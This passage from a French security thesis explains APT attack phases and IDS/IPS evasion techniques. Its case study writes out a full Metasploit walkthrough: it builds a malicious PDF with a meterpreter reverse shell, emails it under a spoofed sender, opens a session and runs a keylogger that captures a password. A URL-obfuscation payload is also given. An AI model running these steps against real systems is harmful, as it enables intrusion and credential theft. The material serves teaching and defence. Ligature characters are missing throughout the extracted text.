Les APT sont devenues si endémiques et virulentes qu'elles obligent les entreprises à
remettre en question le modèle de sécurité actuel. Plutôt que de se concentrer à re-
pousser les attaques, les entreprises commencent à accepter que des menaces puissent
parfois entrer dans leurs réseaux, et concentrent leurs eorts en conséquence à les dé-
tecter le plus tôt possible an de minimiser les dégâts comme nous allons l'illustrer plus
loin dans la partie protection contre ce type d'oense.

1. La reconnaissance et la prise de renseignements sur la cible

La première étape pour le cybercriminel est de réunir un maximum d'information


précise sur l'organisation cible. La reconnaissance peut se faire en direct (entendons
par là un face à face avec une personne), par téléphone ou encore via internet.

Il s'agit ici de reconstituer l'organigramme de l'organisation visée, notamment au


moyen d'outils IT, grâce auxquels on va récupérer l'ensemble des documents bu-
reautiques de l'entreprise qui sont disponibles depuis les moteurs de recherche web
et en extraire ce qu'on appelle les métadonnées qui comprennent notamment les
chemins des volumes de stockage, le nom des imprimantes, les noms et versions des
logiciels utilisés et les chemins des chiers.

Il existe pour cela une multitude d'outils, la plupart téléchargeables depuis internet,
qui permettent de cartographier l'organisation, ses systèmes, les technologies qu'elle
utilise et ses collaborateurs à partir de données publiques, comme Maltego.

L'ensemble de ces renseignements va permettre, d'une part d'identier les vulnéra-


bilités que pourront exploiter les gens à l'origine de l'attaque et d'autre part, perme-
ttre à ces mêmes personnes d'établir un plan pour masquer leurs attaques, l'objectif
étant que l'extraction puisse perdurer.

2. La phase d'intrusion et la création d'une Porte dérobée (Backdoor)


Après avoir identié les faiblesses de l'organisation ciblée, les pirates vont avoir pour
but de prendre le contrôle de quelques postes de travail dans l'entreprise grâce à

107
de l'ingénierie sociale envers ses salariés. Pour ce faire, ils utilisent généralement le
phishing, envoi de courriel malveillant contenant un lien vers un site web ou une
pièce jointe type PDF qui, lors de son ouverture par le salarié crédule, installe un
code malveillant.

Cette méthode présente des avantages et des inconvénients : certes cette attaque
est assez simple et peu coûteuse mais le problème réside dans le fait qu'en raison
de sa trop grande simplicité les outils de prévention d'intrusions peuvent la détecter.

Il existe d'autres possibilités moins connues d'attaques dirigées contre des vulnéra-
bilités mais elles sont extrêmement chères. Aussi, seuls certains cybercriminels qui
disposent de moyens nanciers conséquents peuvent les mettre en oeuvre.

Généralement, les cybercriminels vont créer une porte dérobée (backdoor) qui est
une fonctionnalité inconnue de l'utilisateur légitime donnant un accès secret au logi-
ciel. Cette backdoor a pour objectif de permettre au cybercriminel de s'introduire
à nouveau au coeur de l'ordinateur sans avoir pour cela besoin d'exploiter une fois
encore la faille via laquelle il a pu obtenir l'accès initial.

En eet, on peut imaginer que la faille initiale nira par être démasquée or on
l'a dit, l'extraction doit pouvoir perdurer. Aussi, en créant cette backdoor, le cy-
bercriminel va pouvoir augmenter ses privilèges sur les machines et s'installer plus
solidement sur le système en rendant le code malveillant à la fois transparent et
persistant.

Par ailleurs, le pirate pourra aussi se servir de la machine infectée appelée "zombie"
comme tremplin pour le lancement d'attaques sur d'autres ordinateurs ou serveurs.

3. La découverte du réseau interne

Une fois des postes de travail hameçonnés, le cybercriminel à l'origine de l'APT


va entreprendre une découverte du réseau en profondeur à travers l'intranet de
l'entreprise, télécommandée via une communication chirée véhiculée par la connex-
ion internet externe de l'organisme ciblé. Suivant le prol des utilisateurs hameçon-
nés, il sera plus ou moins rapide d'atteindre le ou les serveur(s) de données ciblées.

Dans l'éventualité où les postes de travail contrôlés ne permettent pas d'atteindre


le ou les serveur(s) de données ciblées, la phase d'intrusion est réitérée jusqu'à ce
qu'elle permette de contrôler un poste permettant d'avoir accès au serveur des don-
nées ciblé. Une fois que cela est fait, l'attaque APT va utiliser les vulnérabilités
pour déposer le code malveillant d'extraction d'information.

108
4. L'extraction de données et la maintenance de l'accès

Une fois les données ciblées atteintes, le pirate va devoir installer des outils lui per-
mettant d'archiver et de compresser les données à extraire.

An de permettre à l'attaque de perdurer, le pirate va accorder un soin particulier


à la réalisation du code malveillant d'extraction des informations car le but est qu'il
fonctionne aussi longtemps que possible sans être détecté par les outils de sécurité
an de pouvoir exltrer de nouveaux documents ou exltrer les mises à jour du
document ciblé au début. Dans cette optique, le code doit être modiable à dis-
tance an de muter pour rester non détectable lors de l'installation de nouveaux
anti-virus. Il devra par ailleurs être installé en mode persistant avec un niveau de
privilège élevé. Généralement l'extraction se fera via HTTP ou HTTPS, mais il
arrive parfois que ces extractions passent aussi par les protocoles de messageries
instantanées.

Pour résumer nous pouvons condenser l'APT en disant que c'est une nouvelle forme
d'attaque qui se construit en phases et qui utilise des techniques de camouage pour
passer inaperçue, ainsi on y trouve les phases suivantes en chaîne :

• Reconnaissance - S'informer sur la cible en utilisant de nombreuses techniques.

C'est la première phase d'une attaque ciblée. Celle-ci consiste en un recueil d'information
sur l'entreprise ciblée. Le recueil d'information s'eectue depuis des sites publics
tels que facebook, linkedIn, google, copains d'avant, etc. ainsi que le site web de
la cible. Le but est de récupérer des adresses électroniques, des informations sur le
personnel (centres d'intérêts, etc.) an de pouvoir créer un message attractif.

De plus l'attaquant tentera de mieux connaître la structure interne de la cible :


reconstitution d'organigramme, identication des postes et des personnes clés.

• Armement - Combiner le vecteur d'attaque avec un contenu malicieux.

Parmi les informations récupérées, l'attaquant étudie la version des logiciels util-
isés. Ce qui lui permettra de savoir quelles vulnérabilités pourront être exploitées.
Il fabriquera alors un document piégé (PDF, MS Oce, etc.) qu'il enverra aux
personnes identiées à l'étape de reconnaissance. Il peut aussi mettre en ligne une
page piégée exploitant une vulnérabilité présente dans un navigateur ou un plugin.

• Livraison - Transmettre le contenu malicieux avec un vecteur de communications

Durant cette étape, l'attaquant procèdera à l'envoi du lien ou le document illicite


préparé aux personnes ciblées. Si la préparation a bien été eectuée, la cible exécute

109
le document piégé ou clique sur le lien préparé, ce qui provoque l'exploitation de
la vulnérabilité pour télécharger et exécuter sur le poste de la cible un programme
malveillant.

• Exploitation - Proter d'une faiblesse logicielle ou humaine pour activer le con-


tenu malicieux

Une fois l'attaquant s'introduit sur le réseau de la cible, il va ensuite cartographier


le réseau an d'y découvrir les systèmes et les espaces de stockage. Viendra ensuite
la phase la plus importante qui est d'enchainer de nouvelles attaques après avoir
bien pris position sur le réseau.

• Installation & Contrôle - Installer durablement le contenu malicieux sur un or-


dinateur hôte individuel.

• Commande & Contrôle (C2) - Le malware appelle l'attaquant, qui en prend le


contrôle.

• Actions prévues - L'attaquant maintient l'accès et passe à des actions plus évoluées.

Ce modèle décrit une attaque comme une série de plusieurs phases (voir la gure 4.2.1),
l'attaque ne réussit que si toutes les phases réussissent, et c'est enn cette caractéristique
qui aide à se protéger contre ce genre de menace comme il sera détaillé ultérieurement
dans la proposition des contre-mesures.

Figure 4.2.1: Diérentes phases d'une attaque APT

Chaque phase de l'attaque s'appuie sur ses propres techniques et outils connues par les
hackers et les pentesters. On y trouve les détecteurs de failles "vulnerability assessment",
les générateurs de code malveillants, les proxies applicatifs pour analyser le contenu et
les échanges client-serveur etc.

Certes, le détail technique et l'analyse des outils et des méthodes utilisés dans chaque
phase est important, mais le plus important est l'approche globale, dont la compréhension
aide à proposer les contre-mesures adéquates pour faire face à ce type d'attaques chainées.

D'une manière pragmatique, ce type d'attaques se base sur des techniques élémentaires
dans la majorité sont déjà connues depuis des années. Ces attaques APT utilisent

110
plusieurs techniques pour déguiser la charge nocive (payload) de l'exploit, ce que l'on
appelle AET (Advanced Evasion Techniques), et ceci dans l'ultime perspective de rendre
dicile sa détection par le système d'inspection. Ces AET seront détaillées ultérieure-
ment dans ce chapitre.

4.2.3 Attaques avancées ciblées de type APT


Les attaques APT dites des attaques ciblées reposent sur des techniques généralement
classiques mais réparties dans le temps et font appel à une stratégie qui combine l'intelligence
à la connaissance approfondie de la cible, dans la perspective de réaliser une pénétration
indétectable "sous forme de faible signaux", mais surtout elles font appel à des techniques
de camouage "Evasion techniques".

Le but n'est pas seulement avoir l'accès à l'infrastructure cible, mais c'est pour le garder
le plus longtemps possible dans l'objectif de mener une mission de longue haleine.

Parmi les techniques récemment utilisées et qui présentent un dé pesant sur la sécurité
informatique et en particulier les réseaux IP, on y trouve :

• les techniques d'évasion, dont les hackers font usage pour contourner les mécanismes
de sécurité mis en place pour la protection des réseaux IP et leur applications ;

• les techniques de pivotement et de persistance au sein de l'infrastructure ciblée ;

• les attaques avancées persistantes APT (Advanced persistent threats).

Dans ce qui suit, nous allons eectuer une étude de cas an de mettre à l'évidence ce
genre de techniques et montrer leur ecacité et les dangers qui existent derrière leur
utilisation par les personnes malveillantes.

Eude de cas
Récemment, on a constaté que le vecteur privilégié pour entamer une attaque ciblée
repose sur l'exploitation de failles d'applications et utilitaires bureautiques au niveau des
postes clients ou "endpoint" tel que :

• Acrobat Reader ;

• Microsoft Word ;

• Microsoft PowerPoint ;

• Microsoft excel.

Ces applications existent pratiquement sur toutes les machines d'utilisateurs, et vue leur
contamination potentielle par des charges (payload) nocives, elles se transforment en une
réelle menace pour les réseaux IP et les ressources critiques du système d'information,
sachant que la meilleure approche pour attaquer une cible est de générer un exploit

111
personnalisé autour des failles détectées au sein de leur réseau.

Génération d'un payload en utilisant metasploit


En utilisant le module adobe_pdf_embedded_exe de metasploit, on peut confectionner
un chier PDF imbriquant une charge exécutable qui va s'exécuter une fois la victime
ouvre le PDF. De cette manière, l'application va démarrer normalement mais en plus elle
va faire appel à un autre processus dans notre cas il s'agit de la commande DOS cmd.exe,
comme l'illustre la gure 4.2.2 suivante.

Figure 4.2.2: Charge utile insérée dans un chier pdf

Dans la suite, on va décrire la structure d'un chier PDF et le schéma d'insertion de code
exécutable au sein d'un pdf. Cette insertion est tout à fait valable pour les autres types
de chiers Word, Excel, etc.

Comme le montre la gure 4.2.3, le document PDF, Doc ou autre, en plus des données
normales selon le type de chier, ce dernier peut être chargé avec du contenu illicite de
type malware.

112
Figure 4.2.3: Structure d'un chier pdf

Illustration
L'intérêt de cette illustration est de montrer les attaques dites "Client Side Exploits" qui
permet d'avoir un premier accès au sein de l'infrastructure réseau cible par le maillon
le plus faible sous forme d'une machine utilisateur, une imprimante ou tout système IP
ayant une vulnérabilité quelconque et qui est connecté au réseau.

Dans la suite, nous explorons une faille "Buer Overow" de la fonction JavaScript
d'impression "util.printf()", qui échoue à contrôler les données soumises par l'utilisateur
lors de la demande d'une impression.

L'attaquant exploite cette faille pour exécuter des tâches arbitraires autres que l'impression
avec les privilièges de l'utilisateur qui l'a lancé.

Pour ce faire, on construit un chier pdf qui contient le code malicieux ou la charge nocive
en utilisant metasploit :

msf > use exploit/windows/leformat/adobe_utilprintf


msf exploit(adobe_utilprintf) > set FILENAME Thèse de sécurité Univ-MedV.pdf
FILENAME => Thèse de sécurité Univ-MedV.pdf
msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(adobe_utilprintf) > set LHOST 192.168.1.128
LHOST => 192.168.1.128
msf exploit(adobe_utilprintf) > set LPORT 4455
LPORT => 4455
msf exploit(adobe_utilprintf) > show options

Module options (exploit/windows/leformat/adobe_utilprintf):

Name Current Setting Required Description

113
-   
FILENAME Thèse de sécurité Univ-MedV.pdf yes The le name.

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description


-   
EXITFUNC process yes Exit technique (Accepted: ", seh, thread, process, none)
LHOST 192.168.1.128 yes The listen address
LPORT 4455 yes The listen port

Exploit target:

Id Name
 -
0 Adobe Reader v8.1.2 (Windows XP SP3 English)

Une fois toutes les options sont mises correctement, nous pouvons éxecuter "l'exploit"
pour créer le chier PDF cible.

msf exploit(adobe_utilprintf) > exploit


[*] Creating 'Thèse de sécurité Univ-MedV.pdf' le...
[*] Thèse de sécurité Univ-MedV.pdf stored at /root/.msf4/local/Thèse de sécurité
Univ-MedV.pdf
msf exploit(adobe_utilprintf) >

On copie ce pdf dans le répertoire /tmp pour faciliter sa localisation après dans notre
exploit. Avant d'envoyer le chier contaminé à la victime nous allons créer un capteur
"listener" pour écouter la connexion inverse à partir de la machine victime de cet ex-
ploit. Toujours via la console msfconsole, on paramètre le canal d'écoute "multi handler
listener".

msf > use exploit/multi/handler


msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 4455
LPORT => 4455
msf exploit(handler) > set LHOST 192.168.1.128
LHOST => 192.168.1.128
msf exploit(handler) > exploit
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler

114
[*] Starting the payload handler...

A ce stade, le listener est à l'écoute pour recevoir la charge nocive "malicious payload".
Il ne reste qu'à délivrer ce cadeau à la victime par le moyen le plus ecace et le moins
douteux (mail, web, USB, etc.)

root@kali: # sendEmail -t victim@victim.com -f techsupport@bestcomputers.com -s


IP_victime:192.168.1.131 -u Important Upgrade Instructions -a /tmp/Thèse de sécurité
Univ-MedV.pdf

La victime va recevoir ce mail avec le pdf malicieux comme attachement, sans aucune
réaction de son antivirus local, et il peut même le scanner avec virustotal (la version de
scan en ligne contre les virus, malware et les URL malicieux, avec plus de 40 solutions
d'antivirus) comme le montre le résultat de scan de la gure 4.2.4.

Figure 4.2.4: Résultat de scan avec virustotal

Comme on peut le constater, l'antivirus n'a rien détecté d'anormal dans ce chier.
L'utilisateur l'ouvre alors pour consulter le contenu, et c'est à ce moment-là que la charge
nocive s'exécute et ouvre une connexion vers la machine Kali comme suit :

115
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Sending stage (718336 bytes)
session[*] Meterpreter session 1 opened (192.168.1.128:4455 -> 192.168.1.130:49322)
meterpreter >

A ce stade, l'attaquant a la main sur la machine victime sous forme d'un shell via le
PDF malicieux, qui va exécuter un keylogger an de pouvoir récupérer des informations
condentielles, en l'occurence des mots de passe comme on va le monter ci-dessous.

meterpreter > ps
Process list
============
PID Name Path
 - -
852 taskeng.exe C:\ Windows\ system32\ taskeng.exe
1308 Dwm.exe C:\ Windows\ system32\ Dwm.exe
1520 explorer.exe C:\ Windows\ explorer.exe
2184 VMwareTray.exe C:\ Program Files\ VMware\ VMware Tools\ VMwareTray.exe
2196 VMwareUser.exe C:\ Program FilesVMware\ VMware Tools\ VMwareUser.exe
3176 iexplore.exe C:\ Program Files\ Internet Explorer\ iexplore.exe
3452 AcroRd32.exe C:\ Program Files\ AdobeReader 8.0\ ReaderAcroRd32.exe
meterpreter > run post/windows/manage/migrate
[*] Running module against V-MAC-XP
[*] Current server process: svchost.exe (1076)
[*] Migrating to explorer.exe...
[*] Migrating into process ID 816
[*] New server process: Explorer.EXE (816)
meterpreter > sysinfo
Computer: OFFSEC-PC
OS : Windows Vista (Build 6000, ).
meterpreter > use priv
Loading extension priv...success.
meterpreter > run post/windows/capture/keylog_recorder
[*] Executing module against V-MAC-XP
[*] Starting the keystroke snier...
[*] Keystrokes being saved in to /root/.msf4/loot/20110323091836_default_
192.168.1.195_host.windows.key_832155.txt
[*] Recording keystrokes...
root@kali: # cat /root/.msf4/loot/20110323091836_default_192.168.1.195_host. win-
dows.key_832155.txt
Keystroke log started at Wed Mar 23 09:18:36 -0600 2011
Cher support,

116
Nous avons un grand problème sur la base oracle on essaye de démarrer après une
panne brusque sans succès.
Svp de vous connecter pour nous assister, je vous ai créé un compte provisoire "sup-
port" avec le même mot de passe 123456
Cordialement

A ce niveau, on s'aperçoit bien qu'il est possible de déguiser une attaque moyennant la
livraison d'un document qui contient une charge "payload" qui va nous faciliter la tâche
pour mener à bien une attaque plus complexe qui concerne éventuellement le réseau
entier, dont les phases suivantes vont se construire à base de l'accès qu'on a eu sur la
machine cible.

Par la suite, en ayant l'accès sur une machine du réseau cible, on va essayer de garder
l'accès discret le plus longtemps possible pour entreprendre d'autres investigations au sein
du réseau an de bâtir des attaques plus complexes moyennant l'usage des techniques
suivantes :

• Mouvement latéral

• Élévation de privilège

• Exltration de données.

Dans la suite, nous allons dresser un tableau comparatif entre les attaques de type APT
et les attaques conventionnelles (voir la gure 4.2.5).

Figure 4.2.5: Comparaison des attaques traditionnelles et celles des APT

4.3 Techniques avancées d'évasion "Advanced Evasion


Techniques - AET"
On peut dénir les techniques d'évasion comme des "tactiques de contournement des
dispositifs de sécurité ayant pour objectif de lancer un exploit, une attaque ou d'autres

117
malwares et d'infecter un réseau ou un système, sans être détectées". Ces techniques
sont utilisées par les attaquants pour compromettre les systèmes de protection en place
en déguisant la charge nocive "payload" par des techniques d'encodage, de substitution
et même de chirement; ajouter à cela des tactiques et des stratégies avancées pour con-
tourner la vigilance des systèmes de protection.

4.3.1 Méthodes et techniques d'évasion


Les AET sont en quelque sorte l'équivalent d'un passe-partout qui permet aux cyber-
criminels de pénétrer dans n'importe quel système vulnérable. Elles peuvent contourner
les systèmes de sécurité réseau sans laisser de trace. En eet, les AET s'immiscent dans
les réseaux en passant à travers les mailles des systèmes de prévention d'intrusions, en
masquant des vers bien connus, comme Sasser et Concker par exemple.

Un ensemble d'AET a été utilisé pour cacher des vers Concker et Sasser. Ceux-ci ont
été envoyés contre plusieurs IPS reconnus et classés dans le Magic Quadrant du Gartner.
Ces IPS étaient incapables de détecter cette combinaison de techniques d'intrusions. Les
tests et l'alerte émise ont été validés et ocialisés par ICSA Labs. En eet, la nouvelle
attaque par le biais de l'AET généré a échappé à la prévention d'intrusion et a donné au
vers Concker la possibilité d'atteindre la cible de serveurs Windows en utilisant la vul-
nérabilité non corrigée CVE-2008-4250. Concker a été utilisé car il est bien connu et que
les outils de sécurité sont en mesure aujourd'hui de le reconnaître, sauf s'il est masqué [65].

Les CERT (Computer Emergency Response Team) de plusieurs pays ont ensuite prévenu
les vendeurs de solutions IPS (Système de Prévention des Intrusions) pour les informer
du danger et qu'ils prennent les mesures nécessaires pour s'en protéger.

Cependant, beaucoup de facteurs nous poussent à croire que nous n'avons découvert que
la partie émergée de l'iceberg. La nature dynamique et indétectable de ces techniques
avancées d'évasions peut potentiellement bouleverser l'ensemble du paysage de la sécurité
réseau; On rentre désormais dans une course sans n contre ce nouveau type de menaces
avancées et il semblerait que seules les solutions dynamiques et complètes pourront po-
tentiellement faire face.

En eet, l'AET [66] sont des techniques évasives qui utilisent le camouage et léxploit
des failles éxistantes. Schématiquement, on peut la représenter comme un tunnel vpn qui
ferait passer un virus ou autre malware.

Pour pénétrer un système, l'AET, par exemple, fragmente un paquet. L'attaque est alors
placée dans l'un des fragments et n'est pas détectée car elle n'est plus en paquet. Cela
revient en quelques sortes à couper le virus en plusieurs morceaux. Au début, les systèmes
de protection n'étaient pas capables de détecter ces attaques fragmentées. Désormais, la
plupart d'entre eux sont capables de les repérer et de les stopper. Les IPS peuvent main-
tenant détecter ces fragments et attendre la suite du paquet de fragments pour l'analyser
entièrement.

118
Pour pénétrer dans le serveur d'une entreprise ou d'une institution, les AET doivent par-
venir à traverser le rewall et l'IPS. Ensuite, elles doivent pénétrer les postes du réseau.
Cela signie qu'elles doivent détecter des failles dans chacune des solutions de sécurité
qu'elles trouveront sur leur route (au moins trois).

Lorsque l'AET parvient à pénétrer sur le réseau et qu'il n'est plus capable de se protéger,
des données critiques peuvent tomber dans les mains des pirates menant l'attaque. Cette
menace de type évasion permet de s'introduire dans un système, de reproduire, de voler,
de modier des données ou de mettre en places des dispositifs malveillants tout en étant
invisible.

Cette nouvelle catégorie de cyber-menace dont la méthode est encore assez peu connue,
n'est en réalité pas un virus mais un "porteur de charge" transformant une attaque en
une action quasi-invisible et dicilement détectable.

Pour les entreprises, cela signie qu'elles risquent de perdre des données condentielles.
On peut imaginer que les cybercriminels et cyber terroristes s'appuient sur ces AET pour
mener des activités illégales dont les conséquences peuvent être dramatiques. En contour-
nant les systèmes de sécurité réseau, ces techniques avancées d'évasion risquent d'avoir de
lourdes conséquences pour les entreprises touchées, et la condentialité des informations
est fortement mise en péril.

La grande majorité des équipements de sécurité réseau dans le monde sont des solutions
matérielles, qui peuvent dicilement se mettre à jour au même rythme que ces techniques
d'évasion, capables de muter constamment.

Dans le cas des AET, où les techniques d'évasion ne sont pas détectées par les rewalls et
les IPS, il n'y a pas de "gilet pare-balles", de solutions les empêchant de passer. Contre les
menaces dynamiques comme celles-ci, les réseaux de protection de la sécurité doivent être
continuellement mis à jour pour se maintenir au niveau de la menace. C'est une course
contre la montre. L'unique recours est l'analyse détaillée des méthodes de l'attaque pour
en comprendre les actions et le fonctionnement. Il est important d'identier comment les
attaques sont menées.

Pour l'instant, il n'y a pas de protection able à 100%. Aucun constructeur/éditeur de


sécurité ne peut, à la date de rédaction de ce rapport, se vanter d'avoir une protection en-
tièrement ecace contre ce phénomène. La seule option est de se préparer à une réaction
immédiate en cas d'attaque. Cela signie que les protections doivent être capables de
centraliser et de contrôler tous les dispositifs de réseau. Elles doivent pouvoir y remédier
rapidement, se remettre à jour et congurer les dispositifs de leurs réseaux pour minimiser
les risques. Il semblerait qu'après l'annonce de la découverte de ce danger, beaucoup
d'éditeurs aient déclaré avoir corrigé les failles dans leurs produits. Or, il s'avère que les
AET sont toujours capables de pénétrer ces systèmes. Une modication même minus-
cule d'une AET peut sure à lui permettre de contourner les mécanismes de détection.
Pour l'instant, les chercheurs arment n'avoir découvert que la partie visible de l'iceberg.

119
La menace que représentent les techniques d'évasion avancées est telle que les recherches
récentes sur le sujet en ont fait un sujet de préoccupation majeur. Les éditeurs de sécurité
doivent donc désormais dédier du temps et des ressources à la recherche d'une solution
pour contrer ce phénomène. Il représente en eet une véritable menace pour la sécurité
des infrastructures réseau protégeant les gouvernements, administrations et entreprises.

Des combinaisons redoutables


Mais en association, certaines de ces techniques peuvent contourner les IPS. Par exem-
ple, en utilisant une pile TCP/IP de leur propre conception, les chercheurs ont proté de
l'horloge TCP, pour notier aux machines des délais de réception et ainsi laisser ouvert
les ports TCP en prévision d'une communication ultérieure. En se connectant à un or-
dinateur cible et immédiatement fermer la session, la pile TCP/IP peut alors démarrer
une nouvelle session sur les ports encore ouverts et l'utiliser pour transmettre les logiciels
malveillants, parce que l'IPS a déjà vérié que la connexion initiale était correcte et que
les informations autorisaient une communication ultérieure.

Cette catégorie de logiciels malveillants est capable de passer outre les logiciels de sécu-
rité, dérober les informations les plus sensibles, et partir sans laisser de traces. Cette
technique avancée d'évasion permettrait de compromettre un grand nombre de technolo-
gies d'inspection de contenus et menace très sérieusement les systèmes de sécurité du
monde entier. Des techniques d'évasion plus classiques sont déjà bien connues, mais
celle-ci présente des spécicités particulières qui la rendent très dangereuse.
Des attaques évasives peuvent en principe être appliquées à n'importe quel niveau des
couches TCP/IP. Dans notre contexte, on a va faire un focus sur les couches extrêmes en
l'occurrence la couche liaison de données et celle d'application du modèle TCP/IP.

La gure 4.3.1 rappelle le modèle en couche TCP/IP.

Figure 4.3.1: Modèle en couche TCP/IP

120
Dans le contexte TCP/IP, la théorie d'évasion se base sur le fait que le système de pro-
tection (antivirus, IPS/IDS, etc) prévoit le comportement d'un "endpoint" à protéger
quand celui-ci réagit à la réception d'un trac réseau. En d'autres termes, le système
de protection se substitue à la ressource à protéger. A partir de là, les attaquants vont
essayer de tromper ce système de protection qui n'arrive pas à simuler l'environnement
"endpoint" avec exactitude comme on va l'illustrer ci-après.

L'implémentation des RFCs dière d'un système à l'autre, par exemple les systèmes
d'exploitation Linux et Windows ne se comportent pas exactement de la même manière
quant à la réception d'un ux réseau. En eet, l'insertion est une technique d'évasion
utilisée par les attaquants, elle consiste à injecter un ux nocif au trac réseau qui sera
aperçu diéremment par le système de protection et l'endpoint.

Ce constat est d'une importance capitale pour comprendre les attaques à base de frag-
mentation et s'apercevoir que les attaquants utilisent cette diérence de perception du
trac pour passer leurs attaques adaptées.

Défaillance des systèmes de détection à base des signatures "Pattern-Matching"


La plupart des attaques exploitent les insusances des systèmes de protection qui se
basent sur les signatures. Par le biais des techniques d'évasion, les hackers exploitent la
faiblesse de l'approche de protection basée sur les signatures.

En eet, La technique de détection à base de signatures "Pattern-based detection" utilise


la recherche de la signature à base d'expression régulière "pattern matching" pour iden-
tier les attaques potentielles visant à exploiter des vulnérabilités connues. En pratique,
l'opération se transforme en une recherche d'une chaine de caractères "string" que con-
tient le code d'exploit.

Ce moyen de protection est facilement contournable par des techniques de déguisement


comme la fragmentation des paquets.

Il y a plusieurs méthodes d'évasion dont les principales sont détaillées dans les sections
suivantes.

4.3.2 Attaques à base de fragmentation


Un exemple d'une technique simple de fraude est la fragmentation IP. Une attaque peut
être construite par une fragmentation du paquet à envoyer sur le réseau en plusieurs petits
fragments/morceaux IP, exploitant ainsi une donnée assez connue par les spécialistes du
réseau (l'implémentation de la pile TCP/IP dièrent légèrement d'un système à l'autre)
et n'utilisent pas exactement le même algorithme quant à la reconstitution des paquets
IP une fois arrivés à la destination à partir des fragments.

Cette méthode permet de fragmenter les diérents paquets contenant les logiciels malveil-
lants dans l'espoir que l'IPS ne sera pas capable de reconstituer les paquets et ainsi oublier

121
le malware. En eet, pour rendre dicile la détection du malware, l'attaquant procède
à la fragmentation (changement MTU), du trac illicite et l'embarque par partie dans
des paquets réseaux normaux dans un ordre quelconque. Une fois sur le réseau cible, le
système de détection/prévention perdra beaucoup de temps à réassembler la session TCP
avec des accusés ACKs sélectifs et relatifs aux demandes de retransmissions.

Le schéma suivant (voir la gure 4.3.2), illustre cette technique de fragmentation entre
deux systèmes en ayant le système d'intrusion au milieu.

Figure 4.3.2: Evasion par découpage en petits fragments

4.3.3 Techniques d'évasion TCP des IPS/IDS


L'envoi d'un ux TCP initial de la forme (voir la gure 4.3.3) :

Figure 4.3.3: Flux TCP initial

Le système IPS/IDS perçoit ce ux (Packet 1 → Packet 2 → Packet 4) qui est un trac
saint voir la gure 4.3.6

122
Figure 4.3.4: Flux TCP aperçu par l'IPS/IDS

A l'opposé, le système cible reçoit Packet 1 → Packet2'→ Packet 4, qui est un trac il-
licite que l'IPS/IDS n'a pas reçu .

Figure 4.3.5: Flux TCP aperçu par l'Endpoint cible

Cette illustration met en évidence que les systèmes de protection tel que les IDS/IPS
ont parfois une perception totalement diérente des ux réseau que celle des machines
victimes d'attaques, pour plusieurs raisons, notamment la diérence d'implémentation
des protocoles d'un système d'exploitation à un autre.

Par ailleurs, nous détaillons ci-dessous les techniques de contournement et d'évasion des
systèmes de protection.

1. Manipulation du champs Time To Live (TTL)


Le champ TTL dans l'entête IP sert principalement à limiter la durée de vie d'un
paquet IP et éviter qu'il tourne indéniment en réseau. Malheureusement, ce
paramètre peut être utilisé par les attaquants.
Ce premier exemple (voir la gure 4.3.6) montre comment l'attaquant peut jouer
sur le champ TTL qu'il va adapter pour être supérieur au timeout de l'IPS/IDS et
inférieur à celui de la cible qui va attendre le fragment frag2 et recevoir l'attaque
en entier d'où l'exécution de l'exploit.

123
Figure 4.3.6: Illustration de l'attaque fragmentation IP "TTL"

Le deuxième exemple illustre deux comportements diérents de l'IPS/IDS face à


l'overlapping.

L'attaquant envoie une première version des fragments sans aucune injection, et
essaie de les écraser par renvoyer des fragments modiés. Ainsi, la cible accepte les
fragments renvoyés et perçoit l'attaque en conséquence alors que l'IPS/IDS refuse
d'écraser la version des fragments déjà reçus, comme présenté dans la gure 4.3.7.

Figure 4.3.7: Illustration de l'attaque "fragmentation IP timeout" overlapping

Cette diérence de comportement peut être due à plusieurs facteurs dont la dif-
férence entre OS est la principale cause (Windows vs Linux).

Ensuite, on explicitera une autre technique qui est le Flooding.

2. Flooding
Inonder le système IPS/IDS par l'envoi massif de paquets, à l'aide d'un généra-
teur/amplicateur de paquets.

124
Ayant en tête la caractéristique fondamentale d'un IPS en surcharge (soit il devient
trop lent en mettent le trac à inspecter dans des queues ce qui est synonyme de
coupure, ou il laisse tout passer sans inspection synonyme d'inltration), tenant
compte de la pression que fait l'équipe de la mise en production sur l'équipe de
sécurité, la deuxième option est souvent choisie c.-à-d. une inltration potentielle
en cas de montée en charge sur l'IPS/IDS.

Un autre fait, c'est que quand le système de prévention est occupé à analyser un
volume important de trac, non intéressant pour l'inspection, l'attaquant peut le
contourner et attaquer sa cible sans que le système IPS/IDS puisse intervenir vue
que sa visibilité sur ce trac réseau a été brouillée par une montée en charge.

L'exemple suivant (la gure 4.3.8) illustre un code complexe avec des boucles pour
générer une montée en charge du CPU du système de protection qui va inutilement
essayer d'interpréter ce code.

Figure 4.3.8: Exemple de code générant une montée en charge du CPU

Parmi les tactiques utilisées, on trouve des appels système d'hibernation pour
déjouer toute analyse et tentative de détection. La gure 4.3.9 montre ce qui ressort
sur la console d'un système de recherche d'expressions dans un code illicite [68].

3. Chirement
Brouiller les données reste un moyen ecace pour déguiser des attaques d'une source
vers sa destination contre l'inspection du trac le long du réseau IP, en créant un
tunnel Secure Shell (SSH), Secure Socket Layer (SSL), ou VPN IPSEC.

125
Figure 4.3.9: Système de protection déé par les appels système d'hibernation

De cette manière, l'IPS/IDS ne peut pas analyser les paquets et par conséquent le
trac illicite va passer vers la cible. Cette technique suppose que l'attaquant puisse
établir une session chirée avec la cible en échangeant les clés et les algorithmes de
chirement.

4. Obfuscation
l'obfuscation est une technique de camouage pour masquer un malware et le ren-
dre indétectable par les systèmes d'analyse et de protection.

Pour ce faire, on utilise diérentes techniques d'encodage par exemple. Ce scénario


présente l'obfuscation d'une session HTTP pour contourner le contrôle à base de
signature.

Pattern:
-GET /cgi-bin/phf?
Obfuscation:
-GET /cgi-bin/aaaaaaaaaaaaaaaaaaaaaaaaaa/..%25%2fp%68f?

Ces deux versions produisent le même résultat, mais leur forme est très diérente.
Cette illustration simpliste qu'elle soit, elle démontre la possibilité d'échapper à
l'approche basée sur les signatures. Ainsi, la même attaque prend plusieurs formes
selon la représentation de l'URL, comme illustré par la gure 4.3.10 suivante :

126
Figure 4.3.10: Diérentes formes d'une même attaque web

5. Exploitation du routage asymétrique


